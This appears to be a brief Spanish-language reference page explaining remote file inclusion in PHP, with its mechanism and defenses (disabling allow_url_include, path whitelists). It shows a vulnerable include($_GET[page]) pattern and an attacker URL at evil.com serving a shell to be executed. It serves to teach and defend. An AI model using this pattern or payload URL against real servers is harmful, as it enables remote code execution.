Saltar al contenido
uencoder

RFI

La inclusión remota de archivos (RFI) ocurre cuando atacantes hacen que el servidor incluya un archivo desde una URL remota, ejecutando código remoto en el servidor.

Propósito

Comprender el RCE causado por la inclusión remota de archivos y sus defensas; una vulnerabilidad crítica cuando allow_url_include de PHP está activado.

Mecanismo

El programa usa include($_GET[page]) con allow_url_include=On; el atacante suministra http://evil.com/shell.txt y el servidor descarga y ejecuta PHP remoto. Defensas: desactivar allow_url_include, listas blancas de rutas.

Casos de uso

  • Vulnerabilidades RFI en PHP
  • Defensa contra la inclusión remota
  • Seguridad del servidor

Herramientas relacionadas

References